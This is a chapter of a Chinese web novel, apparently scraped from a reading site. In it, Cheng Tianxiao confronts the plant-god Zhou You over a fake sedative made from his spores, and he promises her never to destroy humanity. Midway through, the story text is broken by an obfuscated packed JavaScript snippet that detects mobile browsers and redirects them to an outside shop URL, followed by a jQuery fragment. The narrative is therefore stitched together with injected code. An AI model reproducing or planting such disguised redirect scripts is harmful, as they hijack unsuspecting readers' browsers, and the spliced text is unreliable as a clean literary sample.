巩丝丝在别墅客厅里，满脸担忧地不停打转。


    满枫坐在长条餐桌边，打了个哈欠：“你可别转悠了，我眼睛都花了。”


    两人自早上分别见到城主夫人急匆匆出门后，又见城主回来一趟后风一般旋出门，然后是研究所那边冒出滚滚灰雾，巩丝丝意识到出了大事，出于对夫人和自己未来的担忧，已经这样连续来回踱步半小时了。


    “没办法，我着急啊。”巩丝丝抓着头发崩溃：“那灰雾你说是大王花？你既然见过，那怎么能一点不担心？！”


    满枫：“是大王花没错，但那是跟着城主夫人，被封印在城主花瓣里的大王花啊。有什么好担心的。”她打了个呵欠，摆摆手：“担心也没用，咱就是普通人，老实呆着吧。”


    巩丝丝知道她说的有道理，但她就是没办法像满枫一样毫不内耗，脑子控制不住地胡思乱想。


    有时候她真羡慕满枫，不管处在什么环境，竟然都可以毫无心理负担地吃吃睡睡，从不为难自己。


    就在巩丝丝忍不住扒拉着落地窗，往小花园里拼命看那些植物，有没有因为城主不在展现出异常的时候，客厅的房门打开，成天笑独自走在前面，风一般旋进房间里。


    满枫睁开睡意朦胧的双眼，打招呼：“啊，笑笑姐回来了。”


    成天笑没有如往常般露出温柔笑意回应，只是快步越过满枫，走到餐桌边，拿起一杯蜂蜜水一口气喝了个干净。


    周游跟在她身后，精致的脸上面无表情。比平时看起来干瘪、但是颜色更加鲜艳的花瓣们快过一步围绕着成天笑，却只是小心翼翼围绕四周，一副不敢接触她的样子。


    气氛与平时有点不一样。


    满枫后知后觉意识到，城主夫人与城主，这是……吵架了？


    眼看巩丝丝脸上透出欣喜，就要走过来询问成天笑，满枫反应很快地拉住她，将人直接拉出了别墅。


    成天笑看她们一眼，未做阻拦。


    离开研究所之前，周游已经很懂事地将大王花的花苞收进了彼岸花的花瓣里，灰雾消散。


    成天笑离开装满安慰剂器皿的研究室，找到了“红莲”组织里，除了史高和祁建父子之外她唯一认识的人，探险者小队的墨玉。


    她简单将史高伪造安慰剂、以及用全部人类做实验的事迹描述了一遍，通知她销毁剩余的安慰剂。


    而后又告知了墨玉，血库里有条暗道，通往一处秘密空间。


    具体情况她没有多说，相信等墨玉见到那群被周游禁锢的少女之后，自会判断。


    成天笑从研究所出来以后做了大量安排，因此耽误到现在。


    史高已经死透，让满枫和巩丝丝出去，也好顺便看看关于安慰剂的真相。


    至于祁建变成的那个怪物，成天笑也告知了墨玉地点。据周游说，祁建原本就属于实验的失败品，现在祂恢复了部分力量，又能掌控北城的情况，如果有危险，祂的花瓣们会帮忙。


    现在外头除了有些混乱外，没什么危险。


    城主应该做的事已经做完，该吩咐的也吩咐过，现在就剩下一件事。


    成天笑喝完被子里的蜂蜜水，稍微平复下心情，转头看向站在客厅角落里的周游，微微眯起眼睛。


    *


    下午时分，覆盖住日光的阴云消散，太阳露出小半张脸，向大地洒下和煦的柔光。


    成天笑站在小花园里，双手抱臂，用教训幼儿园小朋友般的语气，一句句询问周游。


    “所以，你一直知道史高做出来的安慰剂是用你身上的孢子制成，并且你还一直在配合他？”


    “是。”


    周游靠在葡萄架的阴影处，面无表情，但精致的眉尾略微耷拉，花瓣们也耷拉在祂周身，像个做错事的小孩子。


    祂其实还是不知道成天笑为什么生气，只是不喜欢她此刻身上的气息，却又不敢擅自靠近，那样她会散发出更加让祂难受的信息素。


    像是有只大手将花瓣们都捏起来肆意团弄，无法抵挡，传递出侵透骨髓的疼痛与无力。


    想到过去的五年里，自己每个月注射的安慰剂其实都拜眼前这位“神明”所赐，成天笑深吸一口气，“你也知道，其实安慰剂根本就没有安抚异能者的功效，但还是任由他欺骗操控世人？”


    周游顿了一下，老实说：“是，也不是。”


    “什么意思？”成天笑狐疑。


    周游像是思考了一下，才说：“我知道安慰剂没有安抚异能者的作用，但是我以为，史高这样做是在找寻解决孢子污染的方法。”


    史高做的那些事，如果要如此理解，也不是不行。毕竟作为纯粹的人类，谁不想彻底解决导致末日的因素，回到以前和平安稳的年代里呢。


    但事实证明史高还真是个例外，他不仅不想回到以前的世界，甚至还想利用现在的乱世以及周游的能力，让自己成为新的神。


    成天笑有点想扶额：“他说什么你就信什么？”但如果是这样，又为什么一直对史高心存戒备呢。


    周游有点不理解她的问题：“没有。”


    但祂感受到成天笑的疑惑，于是尽力回忆起自己以前作为人类时、以及后来观察到的人类思维方式，尝试着说出自己的想法：“我知道他很多事情有所隐瞒，但是，这并不会影响我。”


    成天笑忽然沉默下去。


    隐藏空间中被囚禁着却活得好好的少女们、定期给史高提供孢子的周游、以及这次在研究所的事……通过最近几天发生的事情，成天笑觉得，她好像可以明白周游做事的逻辑。


    总结来说，就是随心所欲。


    祂不想吸血，但又不想史高再搞出别的幺蛾子，于是任凭“红莲”抓人却又自己悄悄藏起少女，在世人面前扮演嗜血的神明；


    祂知道史高有野心，但其实不在乎史高的野心到底会如何影响人类命运，于是会定期供给孢子；


    祂不知道史高是害死周父周母的始作俑者，于是对这个血缘意义上的亲人宽容有加。


    成天笑不由得想到，如果她没有穿越，没有在那一天来到北城求购安慰剂，也没有给周游变成的那名少年那根棒棒糖，那这个世界，是什么样子？


    ——答案很明显，就是漫画里最终的样子。


    各方势力在不断滋生的欲望驱使下，东西两城联合南城来到北城，妄图杀死周游，史高在暴走的大boss的攻击下意外死亡，周游彻底失去控制，灭了全人类。


    不过，总感觉有什么不对劲……成天笑蹙眉努力思考，东西两城联合北城想要剿杀周游，如果最后的结果不是周游赢了，而是对方呢？


    那将形成三城鼎力的格局，但女主葛夏瑶身上血液的秘密呢？好像并没有在其中起到任何作用啊。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418876|151998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    难道东西两城联合起来，是想先通过南城的势力灭了北城，而后再用两城的实力进一步蚕食南城？这样倒是说得通，到那时候，南城的葛夏瑶将会变成东西两城的囊中之物，两位城主也许会跟史高一样，妄图通过她血液的特殊，进一步强大自身力量，最后彻底一统世界。


    但问题是，这些后续，根本没有可能。三城围剿周游的行动直接失败，人类文明消失在这位与异植共生的大反派手里。


    奇怪……成天笑冥思苦想，最终也没能想出结果，反而是被忽然大着胆子缠上来的花瓣打断了思路。


    周游见她一直不说话，周身的气息也由生气变成了彻底的疑惑，又站了一会儿，却见成天笑始终不理祂，忍不住探出花瓣，贴住了她露出的手腕。


    柔和的日光下，周游血红色眼珠子显得剔透，一瞬不瞬粘在她身上，里头满是某种渴望。


    成天笑按住在手腕上不断蠕动的花瓣，无言一阵，叹了口气。


    算了，多想无益，总归问题已经解决，现在这个周游，看起来倒不像是会毁灭世界的样子。


    但保障还是要有的。


    成天笑抿唇，走向葡萄藤架子，将一直躲在阴影中的周游拉出来，让祂整个身体暴露在阳光之下。


    她的心情恢复平静，浑身都散发出一种甜而不腻的气息，花瓣们非常喜欢。


    这种味道，会让周游回忆起祂还是个人类少年的时候。


    像花园里摇曳过鲜花，带着淡淡花香的微风，也像一家人坐在一起，沐浴着日光时，空气里飘荡着的细小颗粒。


    温暖又香甜，总能让祂在瞬间忘记所有的不安和躁动，只想待在她身边，更多更多汲取这种暖。


    成天笑认真地拉住周游的手，明明是对着个比她高出一个头的大男人，语气却耐心得像是对待一个不懂事的孩子。


    她与他约法三章。


    “你希望我一直在你身边，那你不可以再随便杀人。”


    周游盯着她拉住自己的手。她的手掌肉乎乎的，张开与花瓣们触碰的的时候，手背上有五个小圆窝。


    “好。”


    成天笑认真道：“你曾是人类的一份子，我现在也是人类，无论发生什么，你都不可以毁灭人类文明。”


    周游丝毫没想关于自己为什么要毁灭人类文明这个问题，直接说：“好。”


    成天笑最后说：“如果你毁约，我就算死了，也不会原谅你的。”


    周游顿了一下。


    这次祂没有说好。


    祂抬眼看向成天笑，眼底一闪而逝某种偏执。成天笑没看懂，只是捏住他的大掌晃了晃。


    “怎么了，你不愿意？”


    周游摇摇头，却说：“你不会死。”


    祂不会让她死的。


    成天笑勾勾嘴角，没有多说，只是轻轻在祂掌缘捏了捏：“不管我会不会死，总之你答应我的，不能反悔。”


    她说着，顺势捏住在自己脸颊上紧贴的一根花瓣，把它拉出来，发出“啵”一声轻响。


    肉乎乎的小指弯起弧度，让花瓣忽然变成粉色的尖端耷拉在上面，成天笑说：“拉钩上吊。”


    轻风拂过，吹起少女的长发，带来熟悉的清香。


    周游血红色的眼珠牢牢锁住成天笑的身影，低声说：“好。”


    她想要什么，祂都会答应的。